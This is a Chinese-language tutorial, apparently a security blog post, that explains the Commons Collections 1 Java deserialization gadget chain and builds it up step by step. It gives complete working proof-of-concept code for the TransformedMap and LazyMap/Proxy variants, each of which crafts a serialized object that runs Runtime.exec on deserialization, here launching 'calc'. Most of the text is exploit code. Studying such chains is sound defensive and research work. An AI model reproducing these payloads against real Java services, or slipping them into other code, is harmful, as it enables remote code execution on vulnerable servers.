CC1链

适用版本:CC 3.1-3.2.1, jdk < u71

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1{
public static void main(String[] args) throws Exception{
// 由于Runtime没有继承serialize接口,所以无法序列化,这是poc执行失败的问题之一,可以使用Class来序列化,也就是通过反射的方式调用
// Class rc = Class.forName("Runtime");
// Method getRuntime = rc.getDeclaredMethod("getRuntime",null);
// Runtime r = (Runtime) getRuntime.invoke(null,null);
// Method exec = rc.getDeclaredMethod("exec",String.class);
// exec.invoke(r,"calc");

// 使用transform来实现反射调用Runtime
// Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod",
// new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke",
// new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

// 通过ChainedTransformer的链式调用来简化上面的transform,同时也是最后能用ConstantTransformer调用成功的原因
// Class rc = Class.forName("java.lang.Runtime");
Transformer[] transformers = new Transformer[]{
// ConstantTransformer是因为AnnotationInvocationHandler调用setValue时指定了
// 值为AnnotationTypeMismatchExceptionProxy类,也就是说调用了chainedTransformer.transform(Annotation...Proxy)
// ,使用ConstantTransformer保证链式调用中以Runtime.class为参数,从而进行任意方法调用
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
// map不为空才能创建一个entry
map.put("value","zx");
Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
// q:谁调用了checkSetValue? a:AbstractInputCheckedMapDecorator的静态成员MapEntry的setValue方法,在setValue中调用了paren
// t的checkSetValue,而parent(AbstractInputCheckedMapDecorator)是一个抽象类,它的checkSetValue由TransformedMap重写了,
// 也就是我们想要调用的checkSetValue方法
// for(Map.Entry entry:transformedmap.entrySet()){
// entry.setValue(r);
// }
// q:谁调用了setValue方法呢,能否找到一个以readObject为调用者的setValue a:AnnotationInvocationHandler中就有这样的一个
// readObject,调用了一个setValue方法,且在readObject中就使用了Map.Entry,但是AnnotationInvocationHandler并没有调用域的修饰符,说明它只能在当前的package中被调用
// ,需要使用反射来调用它
Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
// 修改Target和map的key为value
Object o = constructor.newInstance(Target.class,transformedmap);
serialize(o);
unserialize("1.txt");

}

public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

分析

反序列化的起点:readObject(已知)

反序列化的终点是危险函数或者可控函数(在CC1中指transform方法)

transform()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
InvokerTransformer.transform()
public class InvokerTransformer implements Transformer, Serializable {

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
...
}
}
}
//就是相当于传入一个对象,然后通过反射调用该对象的方法。
//iMethodName,iParamTypes,iArgs都是InvokerTransform的构造函数中被赋值的,可控的参数。
作用

执行任意方法的危险函数

1
2
3
4
5
6
7
8
9
10
11
12
//调用链的终点:InvokerTransformer的transform方法

//反射调用Runtime
Runtime r = Runtime.getRuntime();
Class c = r.getClass();
Method m = c.getMethod("exec",String.class);
m.invoke(r,"calc");

//transform调用Runtime
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(r);
poc(step1)
1
2
3
4
5
6
7
8
9
//根据已知信息拼凑poc

public class cc1{
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(r);
}
}

在找到transform()这个危险方法后,我们需要找到一条返回readObject的路径,这就是反序列化链。

find Usages查找调用了transform()的函数,可以发现有不止一个函数调用了transform(),在CC1的poc中会出现两种路径,一个是lazyMap,另一个是transformMap,这里先讲transformMap的

checkSetValue()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
transformMap.checkSetValue():

public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

}
//可以看到在checkSetValue中调用了valueTransformer.transform(value),valueTransformer由构造函数给出,value是可以控制的参数,但是由于TransformedMap的构造函数是protected修饰的,无法简单的实例化。正好在TransformedMap中就存在着这么一个静态的public函数,decorate(),使用这个函数就可以轻松实例化一个TransformedMap类
poc(step2)
1
2
3
4
5
6
7
8
9
10
11
12
//尽管找到了调用了transform的checkSetValue,但是checkSetValue是一个protected方法,无法直接调用,还是需要直接追溯
public class cc1{
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(r);
// q:谁调用了transform? a:TransformedMap的checkSetValue方法
// 初始化TransformedMap,用TransformedMap自带的decorate方法初始化,它本身的构造方法是protected,keyTransformed是一个无关参数,赋null即可
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,invokerTransformer);
}
}

寻找调用了checkSetValue的函数,这个倒是很明显,并且只有一个,就是setValue,毕竟也是,要checkSetValue,没有set怎么check呢

setValue()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
MapEntry.setValue()

abstract class AbstractInputCheckedMapDecorator
extends AbstractMapDecorator {

protected abstract Object checkSetValue(Object value);

static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
}
//可以看到checkSetValue由MapEntry的setValue调用,parent就是一个AbstractInputCheckedMapDecorator抽象类,所以parent.checkSetValue就是调用了AbstractInputCheckedMapDecorator的checkSetValue方法,但是回头观察一下TransformedMap,其实这个checkSetValue就是由TransformedMap继承了AbstractInputCheckedMapDecorator重写的,因此setValue能够调用到checkSetValue。

//再看setValue(),追溯一下setValue(),可以看到它其实是重写(实现)AbstractMapDecorator的setValue(),而AbstractMapDecorator的setValue()是用来实现Map.Entry接口的setValue()的,也就是说这个静态类MapEntry.setValue()其实是Map.Entry的setValue(),那么显而易见,当我们想要使用Map.Entry的setValue时就会调用到checkSetValue()。
poc(step3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class cc1{
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(r);
HashMap<Object,Object> map = new HashMap<>();
// map不为空才能创建一个entry
map.put("zx","zx");
Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,invokerTransformer);
// q:谁调用了checkSetValue? a:AbstractInputCheckedMapDecorator的静态成员MapEntry的setValue方法,在setValue中调用了parent的checkSetValue,而parent(AbstractInputCheckedMapDecorator)是一个抽象类,它的checkSetValue由TransformedMap重写了,也就是我们想要调用的checkSetValue方法
for(Map.Entry entry:transformedmap.entrySet()){
entry.setValue(r);
}
}
}

//注意新添加的代码中使用了map.put(),给map中添加了一对键值对。
//使用for循环获取transformedmap中的键值对,然后对其进行赋值,因为要使用setValue,所以需要添加值进去,否则你的entry是null的话就没必要执行setValue了

接下来,跟之前一样,寻找是否有调用了setValue的函数,且最后能回到readObject的,这是我们的最终目的。

口艾口牙,真幸运,在sun.reflect.annotation包中的AnnotationInvocationHandler就有这样的一个readObject()方法,它就调用了setValue()

readObject()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
sun.reflect.annotation.AnnotationInvocationHandler.readObject()

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}

//首先观察一下这个readObject方法,可以看到在一个for循环中调用了setValue函数,可惜这个setValue的参数是不可控的,但是这个是可以解决的,因为setValue的value参数实际上是transform方法的执行者,也就是Runtime这个类,此处只是用AnnotationTypeMismatchExceptionProxy对象代替了Runtime,通过后续变换一样可以达到任意方法执行的效果,此处先按住不表

//回到AnnotationInvocationHandler,是一个无修饰词的class,也就是default,无法直接实例化,采用反射的方式调用;在AnnotationInvocationHandler的构造器中,Class<? extends Annotation> type表示的是annotation,也就是注解,以@开头,常见的有Override,NonNull,SageVarargs,Resource,Deprecated,Target等
poc(step4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class cc1{
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(r);
HashMap<Object,Object> map = new HashMap<>();
//修改map的key为"value
map.put("value","zx");
Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,invokerTransformer);
// q:谁调用了setValue方法呢,能否找到一个以readObject为调用者的setValue a:AnnotationInvocationHandler中就有这样的一个readObject,调用了一个setValue方法,且在readObject中就使用了Map.Entry,但是AnnotationInvocationHandler并没有调用域的修饰符,说明它只能在当前的package中被调用,需要使用反射来调用它
Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
// 修改Target和map的key为value
Object o = constructor.newInstance(Target.class,transformedmap);
}
}

//由于default修饰,使用全名来反射调用AnnotationInvocationHandler,实例化时使用Target和transformedmap。
//传入type为Target是没有问题的,可以直接抵达for循环的部分,在for循环中,首先会调用memberValues的entrySet(),也就是transformedmap的entrySet(),往回追溯可以发现实际上是对transformedmap中的map进行了entrySet(),而map就是transformedmap实例化时传入的map(key=>"value",value=>"zx"),接着getKey()得到name="value",再对Target进行get(name),因此如果map中的key和annotation中的成员变量不同的话就会直接跳出循环
//再看下一个if,value就是map的value,肯定跟memberType是不同的,返回false,取反之后通过if,执行setValue方法

是否到此为止了呢?其实并没有,我们还忽略了一个重要的点,就是Runtime其实是一个无法序列化的类,因为它没有继承Serializable

Runtime.class
1
2
3
4
5
6
7
//虽然Runtime是无法序列化的,但是Runtime的class确是可以序列化,对Runtime的class进行序列化即可
//由于Runtime没有继承serialize接口,所以无法序列化,这是poc执行失败的问题之一,可以使用Class来序列化,也就是通过反射的方式调用
Class rc = Class.forName("Runtime");
Method getRuntime = rc.getDeclaredMethod("getRuntime",null);
Runtime r = (Runtime) getRuntime.invoke(null,null);
Method exec = rc.getDeclaredMethod("exec",String.class);
exec.invoke(r,"calc");

再修改为使用transform调用的版本

1
2
3
4
//使用transform来实现反射调用Runtime
Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
ChainedTransformer

不难看出这些transform其实都是由上一个tansform的返回值来调用的,也就是链式调用,由此可以引出一个同样实现了transform方法的类ChainedTransformer,ChainedTransformer就实现了链式调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ChainedTransformer implements Transformer, Serializable {

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}

再修改为ChainedTransformer调用的版本

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
ConstantTransformer

回到按住不表的setValue,前文提到,setValue传入的value实际上是作为transform方法的执行者,也就是说我们实际上希望在readObject.setValue中传入的value是Runtime对象,而这个参数是不可控的,代码中已经写死了是AnnotationTypeMismatchExceptionProxy对象,那我们也没有什么办法,所幸的是在实现了transform的类中还有一个很特殊的类:ConstantTransformer,不管输入是什么只会返回常量,那如果让它只能返回Runtime.class呢?

因此再次修改之后,得到最后的poc

poc(final)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class cc1{
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
//ConstantTransformer是因为AnnotationInvocationHandler调用setValue时指定了值为AnnotationTypeMismatchExceptionProxy类,也就是说调用了chainedTransformer.transform(Annotation...Proxy),使用ConstantTransformer保证链式调用中以Runtime.class为参数,从而进行任意方法调用
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","zx");
//这里要改成chainedTransformer
Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedmap);
serialize(o);
unserialize("1.txt");
}
}
Gadget chain
1
ObjectInputStream.readObject() => AnnotationInvocationHandler.readObject() =>  AbstractInputCheckedMapDecorator.setValue() => TransformedMap.checkSetValue => ChainedTransformer.transform => ConstantTransformer.transform => InvokerTransformer.transform() => Runtime.exec("calc")

poc(another)

在前文也有提到,除了使用transformedMap调用transform之外,还有一条链子是通过lazyMap来实现恶意方法执行的,也是ysoserial使用的链

重点在于使用动态代理去调用invocationHandle的invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.OutputKeys;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class cc1poc2 {
public static void main(String[] args) throws Exception{
Transformer[] Transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
HashMap<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
// lazyMap.get(r);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler1 = (InvocationHandler) constructor.newInstance(
Target.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(),
lazyMap.getClass().getInterfaces(),invocationHandler1);
InvocationHandler invocationHandler2 = (InvocationHandler) constructor.newInstance(
Target.class,proxyMap);
serialize(invocationHandler2);
unserialize("2.txt");
}

public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("2.txt"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

Reference

1
2
3
4
5
https://halfblue.github.io/2021/08/23/CommonsCollections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E6%95%B4%E7%90%86/
https://www.freebuf.com/vuls/366689.html
https://zhuanlan.zhihu.com/p/347141071
https://xz.aliyun.com/t/12669?time__1311=mqmhDvqIxfgD8DlxGo4%2BxCwcIKfgxq2mD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-4
https://space.bilibili.com/2142877265?spm_id_from=333.337.0.0